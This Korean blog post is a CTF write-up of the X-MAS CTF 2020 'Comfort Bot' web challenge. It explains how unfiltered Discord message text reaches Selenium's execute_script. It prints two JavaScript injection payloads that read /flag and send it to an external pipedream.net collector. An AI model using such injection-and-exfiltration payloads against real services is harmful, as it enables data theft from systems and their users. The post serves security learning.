-
[Clear] X-MAS CTF 2020 Comfort Bot WriteupCTF/X-MAS CTF 2020 2020. 12. 23. 08:07
Web 카테고리 4번째 문제였다.
디스코드 채널의 bot과의 대화를 통해서 플래그를 획득하는 문제였다.
블랙박스가 아님에 감사하며 제공되는 파일을 분석해보았다.
bot.py , engine.py 등등 여러 파일들의 코드를 읽으며 내가 작성한 메시지가 어떻게 처리되는지를 분석하였고 처리되는 과정에서 취약한 부분을 발견하였다.
async def getCleverResponse (authorID, txt): global driver try: driver.execute_script("window.open('http://localhost/','_blank');") windows[authorID] = driver.window_handles[-1] switchToAuthorWindow(authorID) script = "cleverbot.sendAI('{0}')".format (txt) ##### ..... (1) driver.execute_script (script) ##### ..... (2) while (driver.execute_script ("return cleverbot.aistate") != 0): await asyncio.sleep (0.4) switchToAuthorWindow(authorID) reply = driver.execute_script ("return cleverbot.reply") switchToAuthorWindow(authorID) driver.execute_script("window.close()") driver.switch_to_window(driver.window_handles[0]) return reply except: CreateCleverDriver ()
사용자 입력 값인 txt(전처리 과정 설명 생략) 가 (1) 형식으로 포맷팅되어 (2)에 의해 실행되는데, 필터링과정을 거치지 않기 때문에 해당 부분을 인젝션 포인트로 봤다.
cleverbot.sendAI 메소드가 어떻게 구동되는지 궁금해서 구글링을 해봤으나 별다른 소득은 얻지 못하고, 다양한 테스트를 하다가
이러한 형식으로 구문을 넣어봤을 때
서버에 응답이 있음을 확인했다.
그래서 최종 시나리오를
' localhost/flag에서 플래그를 읽어와 개인 서버로 전송하되 문법을 해치지 않도록 하자 ' 로 잡고 풀이를 시도하였다.
어떤식으로 스크립트 코드를 구성할까 공부하다가
medium.com/@kkak10/javascript-fetch-api-e26bfeaad9b6
Javascript Fetch API
개요
medium.com
위 자료를 참조하여 fetch api를 활용하면 좋겠다고 생각하였고
최종적으로 아래 payload를 통해 플래그를 획득하였다.
comf test', fetch("/flag").then(response => response.text()).then(textdata => fetch("https://491c30907f380b2428835d7dea7b31b3.m.pipedream.net/%22+textdata)),'
FLAG = X-MAS{0h_J1nk135!!!Why_w0uld_y0u_br34k_our_commun4l_b07??125184ae}
-----------------------------------------------------------------------------------------------------------------------------------
어찌저찌 문제를 해결하긴 했지만 롸업을 작성하면서 스스로를 리뷰해보니 아래와 같이 cleverbot.sendAI() 를 완전히 탈출하는 풀이가 더 나은 것 같다는 생각이 들었다.
comf test');fetch("/flag").then(response => response.text()).then(textdata => fetch("https://491c30907f380b2428835d7dea7b31b3.m.pipedream.net/%22+textdata));('
그 이유는 아직도 명확하게 sendAI가 어떻게 작동하는지 이해하지 못했으며 최초에
를 통해 구문 작동을 확인 할 때 이러한 방식으로 시도해본 계기가
comf help', 'test 와 같이 입력해도 help가 제대로 작동한다는 것이었는데
코드를 세세히 리뷰해보니 help를 구동시키는 조건이 startswith로 구성되어있기 때문에,
위 부분에서 스크립트가 동작함을 확인하는데 운이 따랐다는 생각이 들었기 때문이다.
반응형'CTF > X-MAS CTF 2020' 카테고리의 다른 글
[Clear] X-MAS CTF 2020 flag_checker Writeup (0) 2020.12.22 [Clear] X-MAS CTF 2020 Santa's consolation Writeup (0) 2020.12.21 [Clear] X-MAS CTF 2020 PHP Master Writeup (0) 2020.12.21 [Clear] X-MAS CTF 2020 FORMULA TRANSLATION NOVICE Writeup (0) 2020.12.20 [Clear] X-MAS CTF 2020 Scrambled Carol Writeup (2) 2020.12.20